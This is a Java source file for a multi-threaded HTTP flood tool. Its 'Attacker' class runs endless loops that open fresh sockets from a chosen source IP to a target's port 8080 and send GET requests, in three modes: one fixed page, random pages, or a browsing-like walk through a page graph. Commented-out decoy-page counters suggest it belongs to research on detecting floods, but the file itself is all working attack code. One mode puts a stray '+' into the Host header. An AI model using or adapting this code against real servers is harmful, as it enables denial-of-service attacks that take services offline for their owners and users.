package app;

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.InetSocketAddress;
import java.net.Socket;

import app.structure.Graph;

public class Attacker extends Thread {

	private String hostToAttack;
	private int attackType;
	private Graph graph;
	private Integer[] hashes;
	private int offset;
	private String ip;

	public Attacker(String hostToAttack, int attackType, int offset, Graph graph, String ip) {
		this.attackType = attackType;
		this.hostToAttack = hostToAttack;
		this.graph = graph;
		this.hashes = new Integer[this.graph.getHashPathMap().keySet().size()];
		this.hashes = this.graph.getHashPathMap().keySet().toArray(this.hashes);
		this.offset = offset;
		this.ip = ip;
	}

	public int getRandomHash() {
		int index = (int) (Math.random() * this.graph.getHashPathMap().size());
		return hashes[index];
	}

	public void run() {
		Socket s = null;
		OutputStream os = null;
		OutputStreamWriter osw = null;
		BufferedWriter bw = null;
	//	BufferedReader br = null;

		if(attackType == 1) {
			String page = graph.getAbsolutePath(getRandomHash());
			while (true) {
				if(offset > 0) {
					try {
						Thread.sleep(offset);
					} catch (InterruptedException e) {
						e.printStackTrace();
					}
				}
				try {
					s = new Socket();
					s.bind(new InetSocketAddress(ip, 0));
					s.connect(new InetSocketAddress(hostToAttack, 8080));

					bw = new BufferedWriter(new OutputStreamWriter(s.getOutputStream(), "UTF8"));
					//		br = new BufferedReader(new InputStreamReader(s.getInputStream()));

					bw.write("GET "+page+" HTTP/1.1\r\n");
					bw.write("Host: " + hostToAttack + "\r\n");
					bw.write("\r\n");
					bw.flush();
					//					for (String line; (line = br.readLine()) != null;) {
					//						if (line.isEmpty())
					//							break;
					//						System.out.println(line);
					//					}
				}
				catch (IOException e) {
				}
				finally {
					//					try {
					//						br.close();
					//					}
					//					catch (IOException e) {
					//					} 
					try {
						bw.close();
					}
					catch (IOException e) {
					}
				}
			}
		}
		else if(attackType == 2) {
			while (true) {
				if(offset > 0) {
					try {
						Thread.sleep(offset);
					} catch (InterruptedException e) {
						e.printStackTrace();
					}
				}
				String page = graph.getAbsolutePath(getRandomHash());
				try{
					s = new Socket();
					s.bind(new InetSocketAddress(ip, 0));
					s.connect(new InetSocketAddress(hostToAttack, 8080));

					bw = new BufferedWriter(new OutputStreamWriter(s.getOutputStream(), "UTF8"));
					//	br = new BufferedReader(new InputStreamReader(s.getInputStream()));

					bw.write("GET "+page+" HTTP/1.1\r\n");
					bw.write("Host: +" + hostToAttack + "\r\n");
					bw.write("\r\n");
					bw.flush();

					//					for (String line; (line = br.readLine()) != null;) {
					//						if (line.isEmpty())
					//							break;
					//						System.out.println(line);
					//					}
				}
				catch (IOException e) {
				}
				finally {
					//						try {
					//							br.close();
					//						}
					//						catch (IOException e) {
					//						} 
					try {
						bw.close();
					}
					catch (IOException e) {
					}
				}
			}
		}
		else if(attackType == 3) {
			int pageHash = getRandomHash();
			String page = graph.getAbsolutePath(pageHash);
			int previousPageHash = 0;
	//		int counter = 0;
	//		int decoy = 0;
	//		while (decoy < 1000) {
			while(true) {
	//			counter++;
				if(offset > 0) {
					try {
						Thread.sleep(offset);
					} catch (InterruptedException e) {
						e.printStackTrace();
					}
				}
				try {
//					if(page.endsWith("decoy.html")) {
//						System.out.println(counter);
//						counter = 0;
//						decoy++;
//					}
					s = new Socket();
					s.bind(new InetSocketAddress(ip, 0));
					s.connect(new InetSocketAddress(hostToAttack, 8080));
					os = s.getOutputStream();
					osw = new OutputStreamWriter(os, "UTF8");
					bw = new BufferedWriter(osw);
					bw.write("GET "+page+" HTTP/1.1\r\n");
					bw.write("Host: localhost\r\n");
					bw.write("\r\n");
					bw.flush();
					//					br = new BufferedReader(new InputStreamReader(s.getInputStream()));
					//					for (String line; (line = br.readLine()) != null;) {
					//						if (line.isEmpty())
					//							break;
					//						System.out.println(line);
					//					}
				}
				catch (IOException e) {

				}
				finally {
					//						try {
					//							br.close();
					//						}
					//						catch (IOException e) {
					//						} 
					int nextPageHash = graph.next(pageHash);
					if(nextPageHash != 0) {
						previousPageHash = pageHash;
						pageHash = nextPageHash;
						page = graph.getAbsolutePath(nextPageHash);
					}
					else {
						pageHash = previousPageHash;
						page = graph.getAbsolutePath(previousPageHash);
					}
					try {
						bw.close();
					}
					catch (IOException e) {
					}
				}
			}
		}
		else {
			System.out.println("Invalid attackType specified: " + attackType);
		}
	}
}
